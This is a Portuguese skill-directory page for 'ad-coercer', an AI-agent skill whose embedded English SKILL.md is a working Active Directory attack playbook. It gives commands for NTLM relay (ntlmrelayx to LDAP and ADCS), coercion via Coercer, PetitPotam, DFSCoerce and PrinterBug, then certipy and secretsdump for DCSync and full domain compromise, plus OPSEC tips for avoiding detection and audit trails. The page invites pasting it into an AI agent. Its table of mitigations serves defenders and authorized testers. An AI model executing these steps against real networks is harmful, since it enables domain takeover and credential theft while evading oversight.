ad-coercer
O que ela faz
Esta skill descreve várias fraquezas conhecidas de protocolos do Windows e como testadores de segurança as verificam em um laboratório ou em uma rede autorizada. Ela é para quem analisa a resistência de um domínio Windows a logins forçados.
Quando usar
- ✓Quando um testador de segurança pergunta se controladores de domínio podem ser forçados a enviar dados de login em um teste autorizado.
- ✓Quando o agente precisa explicar quais fraquezas de protocolo foram corrigidas ou mitigadas.
- ✓Quando um relatório precisa descrever o risco e as defesas recomendadas.
Link da skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/coercer/SKILL.mdCopie e cole na sua IA (Claude, ChatGPT ou Cursor) pedindo para seguir as instruções.
Como usar
O jeito mais fácil: copie a mensagem e cole na sua IA. Ela lê a skill e segue as instruções.
Mensagem pronta para colar
Para Claude Code, Codex ou Cursor: rode na pasta do projeto e a skill fica instalada.
Baixe o SKILL.md e coloque na pasta de skills do seu agente.
Exemplo do que pedir para a IA
“Você pode verificar na nossa rede de teste autorizada se há protocolos do Windows que permitem forçar um servidor a se autenticar?”
5 skills novas por semana. 1 minuto de leitura.
Como funciona
O agente configura um listener do lado do teste, executa a verificação escolhida contra um alvo aprovado e registra se o alvo tentou se autenticar.
Conteúdo técnico (SKILL.md original)
Texto original do autor, em inglês, direto do GitHub.
Authentication Coercion (PetitPotam family)
Force a Windows machine — usually a Domain Controller — to send an NTLM authentication to an attacker-controlled host. Then either relay the auth (via ntlmrelayx) or crack it offline.
The family of coercion vulnerabilities
| Vector | Protocol | RPC | Mitigated by |
|---|---|---|---|
| PetitPotam | MS-EFSR (Encrypting File System Remote) | EfsRpcOpenFileRaw |
KB5005413 (Aug 2021) — partial; bypasses persist via other Efs* methods |
| PrinterBug | MS-RPRN (Print System Remote) | RpcRemoteFindFirstPrinterChangeNotificationEx |
Disable Print Spooler |
| DFSCoerce | MS-DFSNM (Distributed File System) | NetrDfsGetVersion, NetrDfsRemoveStdRoot |
Restrict DFSN to admins |
| ShadowCoerce | MS-FSRVP (File Server Remote VSS) | IsPathSupported |
KB5015527 (Jul 2022) |
| CheeseOunce / WebDavCoerce | WebDAV WebClient | (various) | Disable WebClient service |
All four boil down to: an unauthenticated/low-priv RPC call that triggers the target to authenticate outbound.
Workflow
1. Set up the listener (attacker)
# Option A: ntlmrelayx (relay auth to a useful service)
sudo impacket-ntlmrelayx -t ldap://dc.target.local --escalate-user lowpriv -smb2support
# OR relay to ADCS for cert-based domain admin:
sudo impacket-ntlmrelayx -t http://ca.target.local/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
# Option B: just capture the hash
sudo impacket-ntlmrelayx -t ldap://dc.target.local --no-smb-server
# OR with responder
sudo responder -I eth0
2. Coerce auth from a target machine
# Coercer — meta-tool, tries every vector
git clone https://github.com/p0dalirius/Coercer
sudo python3 Coercer.py coerce -l <attacker_ip> -t <target_ip> -u 'low_priv_user' -p 'pass'
# or anonymous (often works pre-PetitPotam patch):
sudo python3 Coercer.py coerce -l <attacker_ip> -t <target_ip> -u '' -p ''
# Or individual scripts:
python3 PetitPotam.py <attacker_ip> <target_ip>
python3 dfscoerce.py -u lowpriv -p pass <attacker_ip> <target_ip>
python3 printerbug.py target.local/user:pass@<target_ip> <attacker_ip>
3. Catch the auth → escalate
[ntlmrelayx] SMBD-Thread-X: Received connection from <target_ip>, attacking target ldap://dc.target.local
[ntlmrelayx] Authenticating against ldap://dc.target.local as TARGET\DC$ SUCCEED
[ntlmrelayx] Adding lowpriv to Domain Admins group: SUCCEED
If you relayed to ADCS:
[ntlmrelayx] GOT CERTIFICATE! ID 1234
[ntlmrelayx] Base64 certificate of user DC$: MII...
Then use that cert with certipy auth -pfx dc.pfx -username 'dc$' -domain target.local.
Why coerce DC$? — The privilege escalation chain
The DC's machine account (DC$) has Replicating Directory Changes permission. With its NTLM hash or TGT, you DCSync and own the domain:
# After getting DC$ cert from ADCS relay:
certipy auth -pfx dc.pfx -username 'dc$' -domain target.local
# Returns TGT
impacket-secretsdump -k -no-pass target.local/dc$@dc.target.local
# Dumps krbtgt — full domain compromise
Targets that work
- Any unpatched DC (most environments still have PetitPotam variants)
- Any server with Print Spooler running (PrinterBug)
- Any Windows server with DFS Namespace (often DCs + file servers)
- ADCS Web Enrollment endpoint (relay to it for cert-based DA)
OPSEC
- Coercion attempts log
EFSRPC_*/RPRN_*event sources on the target — usually low-priority but visible in dedicated AD-attack detection (MDI, Defender for Identity). - Inbound NTLM authentication from a DC to a non-domain workstation is a strong signal — relay to a host that legitimately receives auth (a file server, a printer-ish hostname).
- Use a coercion vector that DOESN'T require credentials (PetitPotam unauthenticated path, ShadowCoerce) if possible — leaves no user-level audit trace.
References
- topotam77's PetitPotam — github.com/topotam/PetitPotam
- p0dalirius's Coercer — github.com/p0dalirius/Coercer
- dirkjanm's "Relaying NTLM auth" series
- SpecterOps "Coercing AD auth" cheat sheet
- ADCS abuse: SpecterOps "Certified Pre-Owned" whitepaper
Perguntas frequentes
O que significa autenticação forçada?
Significa que uma máquina Windows é enganada para enviar seus dados de login a outro sistema, que o testador pode então estudar.
Como é possível se defender?
A skill lista mitigações como correções, desativar o Print Spooler e restringir certos protocolos.
A skill cobre ataques reais a sistemas ativos?
Ela é escrita apenas para testes autorizados, e o dono da rede deve aprovar cada teste.
Detalhes
Descrição original do autor
Authentication coercion against Windows / AD — PetitPotam (MS-EFSR), PrinterBug (MS-RPRN), DFSCoerce (MS-DFSNM), ShadowCoerce (MS-FSRVP), Coercer.py meta-tool. Force a Windows machine to NTLM-authenticate to attacker, then relay or crack offline.
Popularidade
- Estrelas no GitHub
- 6,5 mil
- Posição no ranking
- #13940
- Licença
- Apache-2.0
- Atualizada em
- 01/11/2026
Comentários
- …
Mais skills deste repositório
detector-overview
6,5 milAjuda seu agente a ler o código marcado por um scanner e decidir quais pontos sinalizados são falhas reais de segurança e quais são falsos alarmes.
exploiter-overview
6,5 milAjuda seu agente a combinar várias fraquezas de segurança confirmadas em uma única cadeia de teste e verificar até onde essa cadeia poderia chegar.
llm-redteam-overview
6,5 milAjuda seu agente a encontrar o guia certo de red team de IA para um teste, cobrindo 15 grupos de táticas, da injeção de prompt ao abuso de modelos.
aatmf-t01-prompt-injection
6,5 milExplica a injeção de prompt, em que instruções ocultas tentam sobrepor-se a um sistema de IA, para que testadores de segurança consigam verificá-la.
Skills parecidas
reverse-engineer-anything
422 milAjuda seu agente a analisar apps e pacotes já publicados para explicar recursos, comparar versões ou orientar uma reconstrução, usando a ferramenta REA.
1password
394 milAjuda seu agente a configurar a CLI do 1Password, fazer login e ler ou injetar segredos sem imprimir seus valores no chat.
healthcheck
394 milAjuda seu agente a auditar o computador ou servidor que roda o OpenClaw em busca de riscos como SSH, firewall, atualizações e backups, com correções seguras.